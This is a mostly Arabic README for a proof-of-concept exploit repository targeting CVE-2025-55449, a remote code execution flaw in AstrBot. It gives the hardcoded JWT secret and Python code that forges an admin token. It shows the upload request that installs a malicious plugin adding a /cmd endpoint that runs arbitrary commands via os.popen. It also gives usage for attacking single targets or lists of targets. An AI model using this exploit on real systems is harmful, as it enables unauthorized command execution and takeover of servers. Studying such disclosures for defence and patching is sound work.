
CVE-2025-55449 EXP
يحتوي هذا المستودع على استغلال لإثبات المفهوم لثغرة CVE-2025-55449، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في AstrBot. تسمح هذه الثغرة للمهاجم بتنفيذ تعليمات برمجية عشوائية على النظام المستهدف من خلال استغلال ضعف مصادقة JWT وآلية تثبيت الإضافات.
توجد الثغرة بسبب:
مفتاح JWT السري الثابت: يستخدم AstrBot مفتاح JWT سريًا ثابتًا (Advanced_System_for_Text_Response_and_Bot_Operations_Tool) للمصادقة، مما يسمح للمهاجمين بتزوير رموز مصادقة صالحة.
تثبيت إضافات غير مقيد: تسمح نقطة النهاية /api/plugin/install-upload للمستخدمين المصادق عليهم برفع الإضافات وتثبيتها دون تحقق مناسب، مما يتيح تنفيذ كود Python عشوائي.
تنفيذ التعليمات البرمجية عبر نظام الإضافات: يتيح نظام الإضافات للإضافات تعديل توجيه التطبيق وتنفيذ أوامر عشوائية عبر مثيل تطبيق Flask/Quart.
تزوير رمز JWT: يزوّر الاستغلال رمز JWT باستخدام المفتاح السري الثابت مع صلاحيات المسؤول.
ثغرة تنفيذ التعليمات البرمجية: تستغل ثغرة تنفيذ التعليمات البرمجية عن بُعد في النهاية الخلفية ميزة تمديد الإضافات المدمجة في التطبيق، مما يسمح للمستخدمين برفع حزم إضافات مخصصة. يقوم البرنامج بفك ضغط الحزم، وقراءة معلومات الإضافة، واستيراد ملف Python الخاص بالكائن، وتنفيذ التعليمات البرمجية.
1. Forge JWT token with hardcoded secret
2. Create malicious plugin ZIP file
3. POST to /api/plugin/install-upload with forged token
4. Plugin installs and adds /cmd endpoint
5. Execute commands via /cmd?cmd=<command>
jwt (PyJWT)requestszipfile (مدمجة)argparse (مدمجة)datetime (مدمجة)pathlib (مدمجة)git clone <repository-url>
cd CVE-2025-55449
pip install PyJWT requests
نفّذ الاستغلال ضد عنوان URL لهدف واحد:
python main.py http://target-ip:port
أنشئ ملفًا (ip.txt) يحتوي على عنوان URL واحد في كل سطر:
http://target1:6185
http://target2:6185
http://target3:6185
ثم شغّل:
python main.py -r ip.txt
عند نجاح الاستغلال، سيخرج البرنامج النصي:
http://target-ip:port/cmd?cmd=id
يمكنك بعد ذلك تنفيذ الأوامر عن طريق الوصول إلى:
http://target-ip:port/cmd?cmd=<your-command>
على سبيل المثال:
http://target-ip:port/cmd?cmd=whoami
http://target-ip:port/cmd?cmd=ls -la
CVE-2025-55449/
├── main.py # Main exploit script
├── ip.txt # Example target URLs file
├── README.md # This file
└── helloworld/ # Malicious plugin directory
├── main.py # Plugin code that adds /cmd endpoint
├── metadata.yaml # Plugin metadata
├── LICENSE # Plugin license
└── README.md # Plugin readme
يستخدم الاستغلال مفتاح JWT السري الثابت لإنشاء رمز مصادقة صالح:
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")
تستغل الإضافة (helloworld/main.py) نظام الاستيراد في Python ومثيل تطبيق Flask/Quart لحقن مسار جديد:
# The plugin finds the Quart application instance and adds a /cmd route
# that executes arbitrary commands via os.popen()
يقوم الاستغلال بتجميع الإضافة كملف ZIP ورفعها عبر نقطة النهاية المصادق عليها:
requests.post(
url + "/api/plugin/install-upload",
headers={"Authorization": "Bearer " + forged},
files={"file": (name + ".zip", zip_payload_bytes)}
)